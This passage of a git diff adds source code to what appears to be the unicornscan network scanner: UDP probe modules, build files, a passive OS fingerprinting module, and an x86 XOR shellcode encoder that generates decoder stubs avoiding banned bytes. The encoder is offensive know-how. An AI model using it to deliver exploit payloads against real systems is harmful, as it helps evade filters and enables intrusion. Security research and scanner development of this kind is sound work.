land_fixptr_p=&xor_loader[xor_off]; + switch (reg) { /* popl %e? */ + case UREG_EAX: + BADD(POP_EAX); break; + case UREG_EBX: + BADD(POP_EBX); break; + case UREG_EDX: + BADD(POP_EDX); break; + case UREG_EDI: + BADD(POP_EDI); break; + case UREG_ESI: + BADD(POP_ESI); break; + default: + ERR("bad register in state 1\n"); + /* XXX CLEANUP */ + return NULL; + } + junk_flags=reg|U_INVLD|USTACK; + state++; + break; + + case 2: + if (flags & FLG_RAND) { + switch (lr_rand_get(2)) { + case 0: + BADD(XOR_ECX_ECX); break; + case 1: + BADD(SUB_ECX_ECX); break; + } + } + else { + BADD(XOR_ECX_ECX); /* xorl %ecx, %ecx */ + } + junk_flags=reg|U_INVLD|UREG_ECX|USTACK; + state++; + break; + + case 3: + BADD(MOV_CX); /* mov len1, %cx */ + tmp[2]='\0'; + memcpy(tmp, &len1, 2); + BADD(tmp); + junk_flags=reg|U_INVLD|UREG_ECX|USTACK; + state++; + break; + + case 4: + BADD(XOR_CX); /* xor len2, %cx */ + memcpy(tmp, &len2, 2); + BADD(tmp); + junk_flags=reg|U_INVLD|UREG_ECX|USTACK; + state++; + break; + + case 5: + loop_land_p=&xor_loader[xor_off]; + switch (reg) { /* xorb key, (%e?) */ + case UREG_EAX: + BADD(XORB_EAX_P); break; + case UREG_EBX: + BADD(XORB_EBX_P); break; + case UREG_EDX: + BADD(XORB_EDX_P); break; + case UREG_EDI: + BADD(XORB_EDI_P); break; + case UREG_ESI: + BADD(XORB_ESI_P); break; + default: + ERR("bad register in state 5\n"); + /* XXX CLEANUP */ + return NULL; + } + tmp[1]='\0'; + memcpy(tmp, &key, 1); + BADD(tmp); + state++; + junk_flags=reg|U_INVLD|UREG_ECX|USTACK; + break; + + case 6: + switch (reg) { /* inc %e? */ + case UREG_EAX: + BADD(INC_EAX); break; + case UREG_EBX: + BADD(INC_EBX); break; + case UREG_EDX: + BADD(INC_EDX); break; + case UREG_EDI: + BADD(INC_EDI); break; + case UREG_ESI: + BADD(INC_ESI); break; + default: + ERR("bad register in state 6\n"); + /* XXX CLEANUP */ + return NULL; + } + junk_flags=reg|U_INVLD|UREG_ECX|USTACK; + state++; + break; + + case 7: + BADD(LOOP); /* loop dec_loop */ + loop_jump_p=&xor_loader[xor_off]; + jumpc_off=(int8_t)(loop_land_p - loop_jump_p); jumpc_off--; + memcpy(tmp, &jumpc_off, 1); + BADD(tmp); + junk_flags=reg|U_INVLD|UREG_ECX|USTACK; + state++; + break; + + case 8: + BADD(JMP); /* jmp done */ + jump_done_p=&xor_loader[xor_off++]; + junk_flags=UREG_NONE|USTACK; + state++; + break; + + case 9: + land_end_p=&xor_loader[xor_off]; /* now can fix up jump_end_p */ + jumpc_off=(int8_t)(land_end_p - jump_end_p); + *jump_end_p=jumpc_off - 1; + + BADD(CALL); /* call fixptr */ + jump_fixptr_p=&xor_loader[xor_off + 4]; + jumpw_off=(int32_t)(land_fixptr_p - jump_fixptr_p); + tmp[4]='\0'; + memcpy(tmp, &jumpw_off, 4); + BADD(tmp); + + land_done_p=&xor_loader[xor_off]; + + land_done_p=&xor_loader[xor_off]; + jumpc_off=(uint8_t)(land_done_p - jump_done_p); + *jump_done_p=jumpc_off - 1; + junk_flags=-1; /* for clarity */ + state++; + break; + + case 10: + ERR("bad state?\n"); + /* XXX CLEANUP */ + return NULL; + } /* Switch State */ + } /* for 0-9 */ + + return xor_loader; +} + +char *x86_xor_encode(const char *shellcode, size_t shellcode_len, const char *banned, int flags, size_t *ls) { + int xk[256], j=0, maxscore=0, winner=0, verbose=0, lscore=0, lwinner=0, ti=0; + char *outz=NULL, *walk=NULL, *loader=NULL, *loader_winner=NULL; + const char *chr=NULL; + size_t j1=0, max_loaderlen=0; + union { + uint16_t lkeys[2]; + uint8_t lchrs[4]; + } lk_u, wkeys_u; + uint16_t sc_len=0, try_len_key=0; + + assert(shellcode_len < 0xFFFF && shellcode != NULL); + + if (flags & FLG_VERB) verbose=1; + if (flags & FLG_RAND) randz=1; + if (flags & FLG_RANDP) randz=2; + + sc_len=(uint16_t)shellcode_len; + + try_len_key=0x0000; + + if (ls != NULL && *ls != 0) { + max_loaderlen=*ls; + } + + /* + * Encode the two 16bit length xor pairs, scoring all possible + * combinations and picking a winner + */ + lwinner=0; + while (1) { + lk_u.lkeys[0]=try_len_key; + lk_u.lkeys[1]=try_len_key ^ sc_len; + + lscore=0; + for (j=0 ; j < 4 ; j++) { + ti=xor_rate(lk_u.lchrs[j], banned); + if (ti == -1) { + lscore=-1; break; + } + else { + lscore += ti; + } + } + if (lscore > lwinner) { + lwinner=lscore; + wkeys_u.lkeys[0]=lk_u.lkeys[0]; + wkeys_u.lkeys[1]=lk_u.lkeys[1]; + + } + if (try_len_key > 0xFFFE) { + break; + } + try_len_key += 0x0001; + } + + if (lwinner < 1) { + ERR("error cant find suitable length keypair for xor encoder score is %d\n", lwinner); + return NULL; + } + + if (verbose) { + printf("Best length xor pair is 0x%04x, 0x%04x with score of %d\n", + wkeys_u.lkeys[0], wkeys_u.lkeys[1], lwinner); + } + + for (j=0 ; j < 256 ; j++) { + xk[j]=0; + } + + for (j=1 ; j < 256 ; j++) { + for (chr=shellcode, j1=0 ; j1 < shellcode_len ; j1++, chr++) { + ti=xor_rate((*chr) ^ (uint8_t)j, banned); + if (ti == -1) { + xk[j]=-1; break; + } + else { + xk[j] += ti; + } + } + + if (xk[j] > maxscore) { + maxscore=xk[j]; + winner=j; + } + } + + if (winner < 1) { + ERR("failed to find a suitable xor key for shellcode, perhaps banned is too restrictive?\n"); + return NULL; + } + + VRB(0, "Winner Score %d for shellcode xor key 0x%02x", maxscore, (uint8_t)winner); + + lwinner=0; + for (j=0 ; j < 16 ; j++) { + loader=gen_loader(wkeys_u.lkeys[0], wkeys_u.lkeys[1], (uint8_t)winner, banned, flags); + if (loader == NULL) { + continue; + } + lscore=0; + for (j1=0 ; j1 < strlen(loader) ; j1++) { + int ret=0; + + ret=xor_rate(loader[j1], banned); + if (ret == -1) { + lscore=-1; + break; + } + else { + lscore += ret; + } + } + + if (max_loaderlen != 0 && strlen(loader) > max_loaderlen) { + lscore=-1; + } + + if (lscore > lwinner) { + if (loader_winner != NULL) xfree(loader_winner); + loader_winner=xstrdup(loader); + assert(loader_winner != NULL); + lwinner=lscore; + } + } + + VRB(0, "XOR loader winner with score %d\n", lscore); + + if (loader_winner == NULL) { + ERR("Cant generate loader"); + return NULL; + } + + loader=loader_winner; + + if (ls != NULL) { + *ls=strlen(loader); + } + + outz=(char *)xmalloc(strlen(loader) + shellcode_len + 1); + walk=outz; + + memcpy(walk, loader, strlen(loader)); + walk += strlen(loader); + + for (j1=0, chr=shellcode ; j1 < shellcode_len ; j1++, chr++) { + *walk=(*chr) ^ (uint8_t)winner; walk++; + } + *walk='\0'; + + xfree(loader_winner); + + return outz; +} + +static int xor_rate(char chr, const char *banned) { + int ret=0; + + if (chr == 0 || (banned != NULL && strchr(banned, chr) != NULL)) { + return -1; + } + else if (isalnum(chr)) { + ret=3; + } + else if (isgraph(chr)) { + ret=2; + } + else if (isascii(chr)) { + ret=1; + } + else { + ret=0; + } + + if (randz) { + switch (randz) { + case 1: + ret += lr_rand_get(1); break; + case 2: + ret += lr_rand_get(4); break; + break; + default: + ERR("Internal Error in xor rate, rejecting data\n"); + return -1; + } + } + + return ret; +} diff --git a/src/payload_modules/ntalk.c b/src/payload_modules/ntalk.c new file mode 100644 index 0000000..6378398 --- /dev/null +++ b/src/payload_modules/ntalk.c @@ -0,0 +1,104 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include + +#include +#include +#include + +#include + +typedef struct _PACKED_ ntalk_msg_t { + uint8_t vers; /* version (1 default) */ + int8_t type; /* message type */ + uint16_t pad; /* */ + uint32_t idnum; /* server set ID number */ + struct sockaddr_in dest; /* IP mostly for dest */ + struct sockaddr_in src; /* IP+port of the local */ + uint32_t pid; /* callers PID */ + char s_user[12]; /* caller's user name */ + char d_user[12]; /* remote user */ + char d_tty[16]; /* remote tty */ +} ntalk_msg_t; + +int create_payload(uint8_t **, uint32_t *, void *); +int init_module(mod_entry_t *); +void delete_module(void); +static mod_entry_t *_m=NULL; +static const settings_t *s=NULL; + +int init_module(mod_entry_t *m) { + snprintf(m->license, sizeof(m->license) -1, "GPLv2"); + snprintf(m->author, sizeof(m->author) -1, "jack"); + snprintf(m->desc, sizeof(m->desc) -1, "ntalk request"); + m->type=MI_TYPE_PAYLOAD; + m->iver=0x0103; + + m->param_u.payload_s.sport=518; + m->param_u.payload_s.dport=518; + m->param_u.payload_s.proto=IPPROTO_UDP; + m->param_u.payload_s.payload_group=1; + _m=m; + s=_m->s; + return 1; +} + +void delete_module(void) { + return; +} + +int create_payload(uint8_t **data, uint32_t *dlen, void *ir) { + ntalk_msg_t *ret=NULL; + union sock_u s_u, t_u; + + s_u.ss=&_m->s->vi[0]->myaddr; + + if (s_u.fs->family != AF_INET) { + return NULL; + } + + ret=(ntalk_msg_t *)xmalloc(sizeof(ntalk_msg_t)); + *dlen=sizeof(ntalk_msg_t); + memset(ret, 0, *dlen); + + ret->vers=1; + ret->type=1; + ret->pad=0; + ret->idnum=0; /* server fills this out */ + + ret->pid=0x5590; + + ret->src.sin_port=htons(518); + ret->src.sin_family=htons(AF_INET); + ret->src.sin_addr.s_addr=s_u.sin->sin_addr.s_addr; + + ret->dest.sin_port=htons(518); + ret->dest.sin_family=htons(AF_INET); + /* XXX */ + ret->dest.sin_addr.s_addr=0; + + sprintf(ret->s_user, "%s", "root"); + sprintf(ret->d_user, "%s", "root"); + + *data=(uint8_t *)ret; + + return 1; +} diff --git a/src/payload_modules/rdns.c b/src/payload_modules/rdns.c new file mode 100644 index 0000000..df4fba0 --- /dev/null +++ b/src/payload_modules/rdns.c @@ -0,0 +1,138 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include +#include +#include + +#include +#include +#include +#include + +/* hey i did this with tcpdump cause im lazy */ +typedef struct reverse_query_hdr { + uint16_t x_id; /* whatever */ + uint16_t flags; /* 0x0000 or 0x0100 */ + /* + flags + 0x0000 -> no recursion + 0x0100 -> recursion + */ + uint16_t questions; + uint16_t awns_rrs; + uint16_t auth_rrs; + uint16_t addit_rrs; +} rdns_hdr_t; + +typedef struct reverse_question { + /* query */ + /* char question[]; null terminated */ + uint16_t type; /* 0x000c */ + uint16_t qclass; /* 0x0001 */ +} rdns_q_t; + +int create_payload(uint8_t **, uint32_t *, void *); +int init_module(mod_entry_t *); +void delete_module(void); +static mod_entry_t *_m=NULL; +static const settings_t *s=NULL; + +int init_module(mod_entry_t *m) { + snprintf(m->license, sizeof(m->license) -1, "GPLv2"); + snprintf(m->author, sizeof(m->author) -1, "jack"); + snprintf(m->desc, sizeof(m->desc) -1, "rdns request"); + m->iver=0x0103; + m->type=MI_TYPE_PAYLOAD; + + m->param_u.payload_s.sport=-1; + m->param_u.payload_s.dport=53; + m->param_u.payload_s.proto=IPPROTO_UDP; + m->param_u.payload_s.payload_group=1; + + _m=m; + s=_m->s; + + return 1; +} + +void delete_module(void) { + return; +} + +int create_payload(uint8_t **data, uint32_t *dlen, void *ir) { + rdns_hdr_t rhd; + rdns_q_t rq; + char question[32]; + uint8_t len1=0, len2=0, len3=0, len4=0, len5=7, len6=4; + int len=0, plen=0; + union { + uint8_t ocs[4]; + uint32_t nfab; + } k_u; + union sock_u s_u; + + s_u.s=ir; + + if (s_u.fs->family != AF_INET) { + *data=NULL; + *dlen=0; + return -1; + } + + k_u.nfab=s_u.sin->sin_addr.s_addr; + + memset(&rhd, 0, sizeof(rhd)); memset(&rq, 0, sizeof(rq)); + + rhd.x_id=(uint16_t)prng_get32() & 0xFFFF; + rhd.flags=0x0000; /* no recursion */ + rhd.questions=ntohs(1); /* :P */ + rhd.awns_rrs=0; + rhd.auth_rrs=0; + rhd.addit_rrs=0; + plen=sizeof(rhd); + + /* query */ + rq.type=ntohs(0x000c); /* 0x000c */ + rq.qclass=ntohs(0x0001); /* 0x0001 */ + + if (k_u.ocs[3] < 10) { len1=1; } else if (k_u.ocs[3] < 100) { len1=2; } else { len1=3; } + if (k_u.ocs[2] < 10) { len2=1; } else if (k_u.ocs[2] < 100) { len2=2; } else { len2=3; } + if (k_u.ocs[1] < 10) { len3=1; } else if (k_u.ocs[1] < 100) { len3=2; } else { len3=3; } + if (k_u.ocs[0] < 10) { len4=1; } else if (k_u.ocs[0] < 100) { len4=2; } else { len4=3; } + len5=7; /* in-addr */ len6=4; /* arpa */ + + len=snprintf(question, sizeof(question) - 1, "%c%d%c%d%c%d%c%d%cin-addr%carpa", + len1, k_u.ocs[3], len2, k_u.ocs[2], len3, + k_u.ocs[1], len4, k_u.ocs[0], len5, len6); + + plen += (len + 1 + 4); /* the 4 is the type and class in rq */ + + *dlen=plen; + + *data=(uint8_t *)xmalloc(*dlen); + memset(*data, 0, *dlen); + memcpy(*data, &rhd, sizeof(rhd)); + memcpy((*data + sizeof(rhd)), question, (size_t )len + 1); + memcpy((*data + sizeof(rhd) + (len + 1)), &rq.type, sizeof(rq.type)); + memcpy((*data + sizeof(rhd) + (len + 1) + sizeof(rq.type)), &rq.qclass, sizeof(rq.qclass)); + + return 1; +} diff --git a/src/payload_modules/sip.c b/src/payload_modules/sip.c new file mode 100644 index 0000000..8d63466 --- /dev/null +++ b/src/payload_modules/sip.c @@ -0,0 +1,86 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include +#include +#include + +#include +#include +#include +#include + +/* +working! check sip.stanaphone.com +*/ + +#define PACKET "OPTIONS sip:%s SIP/2.0\r\n" \ + "Via: SIP/2.0/UDP %s:5060\r\n" \ + "From: Bob \r\n" \ + "To: \r\n" \ + "Call-ID: 12312312@%s\r\n" \ + "CSeq: 1 OPTIONS\r\n" \ + "Max-Forwards: 70\r\n\r\n" + +int create_payload(uint8_t **, uint32_t *, void *); +int init_module(mod_entry_t *); +static mod_entry_t *_m=NULL; +static const settings_t *s=NULL; + +int init_module(mod_entry_t *m) { + snprintf(m->license, sizeof(m->license) -1, "GPLv2"); + snprintf(m->author, sizeof(m->author) -1, "jack"); + snprintf(m->desc, sizeof(m->desc) -1, "SIP unicast payload"); + + m->iver=0x0103; /* 1.1 */ + m->type=MI_TYPE_PAYLOAD; + + m->param_u.payload_s.payload_group=1; + m->param_u.payload_s.proto=IPPROTO_UDP; + m->param_u.payload_s.sport=5060; + m->param_u.payload_s.dport=5060; + + _m=m; + s=_m->s; + return 1; +} + +void delete_module(void) { + return; +} + +int create_payload(uint8_t **data, uint32_t *dlen, void *ir) { + char pack[1024]; + char src_ip[64], dst_ip[64]; + union sock_u s_u; + + s_u.ss=&s->vi[0]->myaddr; + snprintf(src_ip, sizeof(src_ip) -1, "%s", cidr_saddrstr(s_u.s)); + + s_u.s=ir; + snprintf(dst_ip, sizeof(dst_ip) -1, "%s", cidr_saddrstr(s_u.s)); + + snprintf(pack, sizeof(pack) -1, PACKET, src_ip, dst_ip, dst_ip, dst_ip, dst_ip); + + *dlen=strlen(pack); + *data=(uint8_t *)xstrdup(pack); + + return 1; +} diff --git a/src/payload_modules/upnp.c b/src/payload_modules/upnp.c new file mode 100644 index 0000000..d8e7bd9 --- /dev/null +++ b/src/payload_modules/upnp.c @@ -0,0 +1,76 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include +#include +#include + +#include +#include +#include +#include + +#define PACKET "M-SEARCH * HTTP/1.1\r\n" \ + "HOST: %s:1900\r\n" \ + "MAN: \"ssdp:discover\"\r\n" \ + "MX: 1\r\n" \ + "ST: ssdp:all\r\n\r\n" + +int create_payload(uint8_t **, uint32_t *, void *); +int init_module(mod_entry_t *); +static mod_entry_t *_m=NULL; +static const settings_t *s=NULL; + +int init_module(mod_entry_t *m) { + snprintf(m->license, sizeof(m->license) -1, "GPLv2"); + snprintf(m->author, sizeof(m->author) -1, "jack"); + snprintf(m->desc, sizeof(m->desc) -1, "UPnP unicast payload"); + + m->iver=0x0103; /* 1.1 */ + m->type=MI_TYPE_PAYLOAD; + + m->param_u.payload_s.payload_group=1; + m->param_u.payload_s.proto=IPPROTO_UDP; + m->param_u.payload_s.sport=1900; + m->param_u.payload_s.dport=1900; + + _m=m; + s=_m->s; + return 1; +} + +void delete_module(void) { + return; +} + +int create_payload(uint8_t **data, uint32_t *dlen, void *ir) { + char pack[1024]; + union sock_u s_u; + + s_u.s=ir; + + snprintf(pack, sizeof(pack) -1, PACKET, cidr_saddrstr(s_u.s)); + + *dlen=strlen(pack); + *data=(uint8_t *)xmalloc(*dlen); + memcpy(*data, pack, *dlen); + + return 1; +} diff --git a/src/report_modules/Makefile.in b/src/report_modules/Makefile.in new file mode 100644 index 0000000..e065ad2 --- /dev/null +++ b/src/report_modules/Makefile.in @@ -0,0 +1,28 @@ +include ../../Makefile.inc + +SUBDIRS=osdetect + +all: + @for g in $(SUBDIRS); do \ + cd $$g && @USE_MAKE@ all || exit 1 && cd ..; \ + done + +clean: + @for g in $(SUBDIRS); do \ + cd $$g && @USE_MAKE@ clean || exit 1 && cd ..; \ + done + +distclean: + @for g in $(SUBDIRS); do \ + cd $$g && @USE_MAKE@ distclean || exit 1 && cd ..; \ + done + +install: + @for g in $(SUBDIRS); do \ + cd $$g && @USE_MAKE@ install || exit 1 && cd ..; \ + done + +uninstall: + @for g in $(SUBDIRS); do \ + cd $$g && @USE_MAKE@ uninstall || exit 1 && cd ..; \ + done diff --git a/src/report_modules/osdetect/Makefile.in b/src/report_modules/osdetect/Makefile.in new file mode 100644 index 0000000..558a43b --- /dev/null +++ b/src/report_modules/osdetect/Makefile.in @@ -0,0 +1,30 @@ +include ../../../Makefile.inc + +G_LDPATH=-L$(BUILD_DIR)/src/unilib -L$(BUILD_DIR)/src/scan_progs -L$(BUILD_DIR)/src/parse -L$(BUILD_DIR)/src/scan_progs +CFLAGS += -DMODULE=1 + +SRCS=dodetect.c module.c +OBJS=$(SRCS:.c=.lo) +LIBNAME=osdetect.la + +all: $(LIBNAME) + +$(LIBNAME): $(HDRS) $(OBJS) + $(LIBTOOL) --mode=link $(CC) $(MODCLFLAGS) $(CFLAGS) @MY_CPPFLAGS@ -o $(LIBNAME) $(OBJS) @MY_LDFLAGS@ $(G_LDPATH) -lunilib -lscan + +clean: + $(LIBTOOL) --mode=clean rm -f $(OBJS) $(LIBNAME) + +distclean: clean + +install: all + mkdir -p $(DESTDIR)/$(MODDIR) + $(LIBTOOL) --mode=install $(INSTALL_PROGRAM) -m 755 $(LIBNAME) $(DESTDIR)/$(MODDIR)/; + if test -f $(DESTDIR)/$(MODDIR)/$(LIBNAME:.la=.so); then \ + $(CHCON) system_u:object_r:shlib_t $(DESTDIR)/$(MODDIR)/$(LIBNAME:.la=.so); \ + $(CHCON) system_u:object_r:unicornscan_share_t $(DESTDIR)/$(MODDIR)/$(LIBNAME); \ + fi + $(LIBTOOL) --mode=finish $(DESTDIR)/$(MODDIR) + +uninstall: + $(LIBTOOL) --mode=uninstall rm -f $(DESTDIR)/$(MODDIR)/$(LIBNAME) diff --git a/src/report_modules/osdetect/README b/src/report_modules/osdetect/README new file mode 100644 index 0000000..4dbac4c --- /dev/null +++ b/src/report_modules/osdetect/README @@ -0,0 +1,2 @@ +first off, the signature data points are based off of p0f for now, so credit for some of this has to goto +Michal Zalewski. diff --git a/src/report_modules/osdetect/dodetect.c b/src/report_modules/osdetect/dodetect.c new file mode 100644 index 0000000..8c46c3d --- /dev/null +++ b/src/report_modules/osdetect/dodetect.c @@ -0,0 +1,660 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include +#include +#include +#include +#include +#include +#include +#include + +#include "module.h" +#include "dodetect.h" + +static void osd_add_fp(fps_t *); +static int osd_tcpopt_match(const tcpopt_t *, const tcpopt_t *); +static void osd_get_tcpopts(tcpopt_t *, const uint8_t *, size_t, int *); + +/* + * ALERT! tcpoption string is WRITTEN TO + */ +static int osd_str_to_tcpopts(char * /* tcpoption string */, tcpopt_t * /* output */); + + +fps_t *head=NULL; + +/* i wrote all this the day before the defcon talk, so umm, yah... */ +/* XXX cleaned up a little... no hardcoded fingerprints in the source ;] */ + +char *do_osdetect(const uint8_t *data, size_t dlen) { + packetlayers_t pkl[8]; + size_t ret=0, j=0; + uint8_t ipsig=0; + union { + const struct mytcphdr *t; + const struct myiphdr *i; + const uint8_t *ptr; + } ph_u; + fps_t fp; + + memset(&fp, 0, sizeof(fp)); + + for (j=0; j < MAX_TCPOPTS; j++) { + fp.tcpopts[j].type=-1; + memset(fp.tcpopts[j].desc, 0, sizeof(fp.tcpopts[j].desc)); + } + + fp.stim_fp=osd.stim_fp; + + ipsig=*data; + + if ((ipsig & 0x40) == 0x40) { + ret=packet_slice(data, dlen, &pkl[0], 8, PKLTYPE_IP); + } + else { + ret=0; + } + + for (j=0; j < ret; j++) { + + if (pkl[j].stat != 0) { + continue; + } + + switch (pkl[j].type) { + case PKLTYPE_IP: + if (pkl[j].len >= sizeof(struct myiphdr)) { + ph_u.ptr=pkl[j].ptr; + + fp.ttl=ph_u.i->ttl; + fp.tos=ph_u.i->tos; + fp.df=ntohs(ph_u.i->frag_off) & IP_DF ? 1 : 0; + + } + break; + + case PKLTYPE_TCP: + if (pkl[j].len >= sizeof(struct mytcphdr)) { + ph_u.ptr=pkl[j].ptr; + fp.urg_ptr=ntohs(ph_u.t->urg_ptr); + fp.ws=ntohs(ph_u.t->window); + + if (fp.urg_ptr != 0 && ph_u.t->urg == 0) { + fp.misc_flags |= OSD_URGPTR_LEAK; + } + + if (ph_u.t->res1 != 0) { + fp.misc_flags |= OSD_RESFLAGS_LEAK; + } + + if (ph_u.t->ece != 0) { + fp.misc_flags |= OSD_ECE_ON; + fp.flag_ece=1; + } + + if (ph_u.t->cwr != 0) { + fp.misc_flags |= OSD_CWR_ON; + fp.flag_cwr=1; + } + + fp.flag_fin=ph_u.t->fin; + fp.flag_syn=ph_u.t->syn; + fp.flag_rst=ph_u.t->rst; + fp.flag_psh=ph_u.t->psh; + fp.flag_ack=ph_u.t->ack; + fp.flag_urg=ph_u.t->urg; + } + break; + + case PKLTYPE_TCPOP: + osd_get_tcpopts(&fp.tcpopts[0], pkl[j].ptr, pkl[j].len, &fp.misc_flags); + break; + + case PKLTYPE_PAYLOAD: + break; + + default: + break; + } + } + + return osd_find_match(&fp); +} + +static void osd_fp_dump(const fps_t *fp) { + char fpstr[1024]; + int pfret=0; + unsigned int j=0, fpoff=0; + + pfret=snprintf(fpstr, sizeof(fpstr), "ST %u IP TTL %u TOS 0x%02x [%s] " + "TCP WS %u urg_ptr %04x", + fp->stim_fp, fp->ttl, fp->tos, (fp->df == 1 ? "DF" : ""), + fp->ws, fp->urg_ptr + ); + + if (pfret > 0) { + fpoff += (unsigned int)pfret; + } + else { + PANIC("snprintf fails"); + } + + OUT("%s", fpstr); + + if (fp->misc_flags & OSD_URGPTR_LEAK) { + DBG(M_MOD, "urgent pointer leak!"); + } + if (fp->misc_flags & OSD_RESFLAGS_LEAK) { + DBG(M_MOD, "reserved flag leak!"); + } + if (fp->misc_flags & OSD_ECE_ON) { + DBG(M_MOD, "ECN echo on"); + } + if (fp->misc_flags & OSD_CWR_ON) { + DBG(M_MOD, "congestion window reduced"); + } + if (fp->misc_flags & OSD_TIMESTAMP_LOW_LITTLEENDIAN) { + DBG(M_MOD, "Low timestamp, littleendian!"); + } + if (fp->misc_flags & OSD_TIMESTAMP_LOW_BIGENDIAN) { + DBG(M_MOD, "Low Timestamp, Bigendian!"); + } + + if (fp->misc_flags & OSD_TIMESTAMP_ZERO) { + DBG(M_MOD, "Zero Timestamp!"); + } + + for (j=0; j < MAX_TCPOPTS && fp->tcpopts[j].type != -1; j++) { + DBG(M_MOD, "option [%d] %s", fp->tcpopts[j].type, fp->tcpopts[j].desc); + } +} + +char *osd_find_match(const fps_t *fp) { + fps_t *walk=NULL; + int match=0; + static char desc[128]; + + assert(fp != NULL); + + memset(desc, 0, sizeof(desc)); + + for (walk=head; walk != NULL; walk=walk->next) { + + if (ISDBG(M_MOD)) { + DBG(M_MOD, "matching:"); + osd_fp_dump(fp); + DBG(M_MOD, "Vs:"); + osd_fp_dump(walk); + } + + if ( fp->stim_fp == walk->stim_fp && + fp->flag_fin == walk->flag_fin && + fp->flag_syn == walk->flag_syn && + fp->flag_rst == walk->flag_rst && + fp->flag_psh == walk->flag_psh && + fp->flag_ack == walk->flag_ack && + fp->flag_ece == walk->flag_ece && + fp->flag_cwr == walk->flag_cwr && + fp->misc_flags == walk->misc_flags && + fp->df == walk->df && + fp->ws == walk->ws && + fp->tos == walk->tos && + ((fp->ttl > 32 && fp->ttl < 65 && walk->ttl == 64) || + (fp->ttl > 30 && fp->ttl < 61 && walk->ttl == 60) || + (fp->ttl > 64 && fp->ttl < 129 && walk->ttl == 128) || + (fp->ttl > 129 && 1 && walk->ttl > 250) + ) + ) { + match=1; + + if (osd_tcpopt_match(fp->tcpopts, walk->tcpopts) != 1) { + match=0; + continue; + } + + if (match == 1) { + snprintf(desc, sizeof(desc) - 1, "%s:%s", walk->ostype, walk->osdesc); + break; + } + } + else { +#if 0 + MSG(M_DBG2, "Error matching basic things!"); +#endif + } + } + + if (osd.dump_unknown && match == 0) { +/* + fps_t *nwalk=NULL; + MSG(M_ERR, "no match stim_fp %d -> %d df %d %d ws %d %d tos %d %d misc_flags %d %d", fp->stim_fp, walk->stim_fp, fp->df, walk->df, fp->ws, walk->ws, fp->tos, walk->tos, fp->misc_flags, walk->misc_flags); + MSG(M_ERR, "f %u s %u r %u p %u a %u e %u c %u VS f %u s %u r %u p %u a %u e %u c %u", + fp->flag_fin, fp->flag_syn, fp->flag_rst, fp->flag_psh, fp->flag_ack, fp->flag_ece, fp->flag_cwr, + walk->flag_fin, walk->flag_syn, walk->flag_rst, walk->flag_psh, walk->flag_ack, walk->flag_ece, walk->flag_cwr); +*/ + DBG(M_MOD, "Unknown Fingerprint Follows"); + osd_fp_dump(fp); + +/*I + for (nwalk=head; nwalk != NULL; nwalk=nwalk->next) { + MSG(M_DBG2, "Fingerprint ive got"); + osd_fp_dump(nwalk); + } +*/ + } + + return desc; +} + +static int osd_tcpopt_match(const tcpopt_t *a, const tcpopt_t *b) { + int match=1; + unsigned int j=0; + + assert(a != NULL && b != NULL); + + for (j=0; j < MAX_TCPOPTS; j++) { + if (a->type == -1 && b->type == -1) { + break; + } + if (a->type != b->type) { + match=0; + break; + } + + switch (a->type) { + case TCPOPT_WINDOW: + if (a->tcpopt_u.wscale != b->tcpopt_u.wscale) { + //MSG(M_DBG2, "wscale %u != wscale %u", a->tcpopt_u.wscale, b->tcpopt_u.wscale); + match=0; + } + break; + + case TCPOPT_MAXSEG: + if (a->tcpopt_u.maxseg != b->tcpopt_u.maxseg) { + //MSG(M_DBG2, "maxseg %u != maxseg %u", a->tcpopt_u.maxseg, 